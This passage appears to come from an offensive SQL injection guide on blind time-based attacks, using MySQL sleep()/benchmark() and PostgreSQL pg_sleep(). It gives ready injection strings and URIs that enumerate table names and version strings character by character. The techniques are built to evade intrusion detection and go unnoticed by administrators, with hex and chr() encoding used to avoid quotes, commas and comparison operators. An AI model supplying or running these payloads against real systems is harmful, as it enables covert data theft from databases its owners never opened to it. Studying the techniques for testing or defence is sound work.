Timing attacks generally fall under two categories:
- Timing attacks are typically used by automated software due to the difficulty in reliably determining true/false from data being displayed on the page.
|
MySQL boolean timing attacks
MySQL's primary functions for time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.
benchmark() and related issues
|
Benchmark() may betray the activities
|
- Benchmark() is the rudest (and slowest and least reliable) method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if an attack is never found, an administrator may still be called. For this reason we have minimal coverage of the benchmark() function and recommend using a sleep() function call instead.
|
Evasive sleep() based boolean enumeration with regular expressions
Some information about the environment:
- For testing purposes we've installed MySQL 5.1 locally and created a table called sample:
mysql> SELECT version();
+-----------------+
| version() |
+-----------------+
| 5.1.58-log |
+-----------------+
1 ROW IN SET (0.00 sec)
|
- We've inserted a row of sample data to mimick where clause injection:
mysql> SELECT * FROM sample WHERE id=1;
+----+---------------------+
| id | sample_text |
+----+---------------------+
| 1 | this IS sample text |
+----+---------------------+
1 ROW IN SET (0.00 sec)
|
|
Testing for the ability to sleep():
It is very simple to test for access to the sleep() function:
%20and%20sleep(15)
mysql> SELECT * FROM sample WHERE id=1 AND sleep(15);
Empty set (15.00 sec)
Controlling sleep() for enumeration:
Using cast() to gain control of sleep() with regex:
- Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. This can be used in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because evasion of modern IDS systems is desired, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators (<, =, >)
- If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. 1 for matching and 0 for no match found. By casting its return to a signed integer and using a multiplication test, it's output can be controlled for combination with the sleep command:
mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'a' REGEXP '^[n-z]') AS signed) * 15);
Empty set (0.00 sec)
mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'x' REGEXP '^[n-z]') AS signed) * 15);
Empty set (15.00 sec)
| * Now false sleeping occurs for zero seconds and true sleeping for 15 seconds.
|
Using sleep() to map a table name with regular expressions
mysql> SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0;
+------------+
| TABLE_NAME |
+------------+
| sample |
+------------+
1 ROW IN SET (0.00 sec)
- The first letter of "sample" is s, it isn't between a and m, therefore it won't sleep at all when testing to see if it is:
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
(SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[a-m]')
AS signed) * 15));
- Empty set (0.00 sec)
- However, when tested to see if it's between n-z, because s is between n and z the return output from REGEXP is multiplied and becomes 15, which is passed to the sleep() function:
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
(SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[n-z]')
AS signed) * 15));
- Empty set (15.00 sec)
- So, an injection URI that utilizes sleep(), cast(), and multiplication can be used remotely in cases of unpredictable output and without the need for quotes, commas, comment notation, or standard comparison operators (<, =, >) to test if the first character of the first table in the database is between a and m would look like:
- /vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));
- However the n-z would look like:
- /vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15));
|
PostgreSQL Boolean Timing Attacks
pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.
Testing for access to pg_sleep()
Testing for access to pg_sleep() occurs with:
AND pg_sleep(15) IS NULL
- It should take an additional 15 seconds to load the page.
|
Using pg_sleep() with alternative comparisons for evasive boolean enumeration
- BETWEEN ... AND ... can be used as well as the regular expression operators here.
Sleeping on true and not sleeping on false:'Similar to mysql, the database will sleep when pg_sleep([int]) is selected .'
- Using CASE to control pg_sleep with BETWEEN...AND:
AND (CASE WHEN 1 BETWEEN 1 AND 1 THEN pg_sleep(15) ELSE 9 END) IS NULL
- If the input is vulnerable, the database will sleep for 15 seconds.
- True statements will sleep, false statements will not sleep.
ascii() can be used between similar to standard PostgreSQL Boolean Enumeration here,
AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 255 THEN pg_sleep(5) ELSE 98923 END) IS NULL
AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 1 THEN pg_sleep(5) ELSE 23265 END) IS NULL
Using CASE with the ~ regular expression operator and string concatenation:
Notice that like MySQL regular expression attacks, this attack also bypasses the need for several syntax characters.
The following will sleep for 15 seconds if the lowercase format of the version string matches
"^[a-z]", the same as the
(SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))
- This should always be true, delaying the page load for an additional 15 seconds:
AND (CASE WHEN LOWER(version()) ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL
- This should always be false, as PostgreSQL always capitalizes the first character, meaning no time delay should take place:
AND (CASE WHEN version() ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL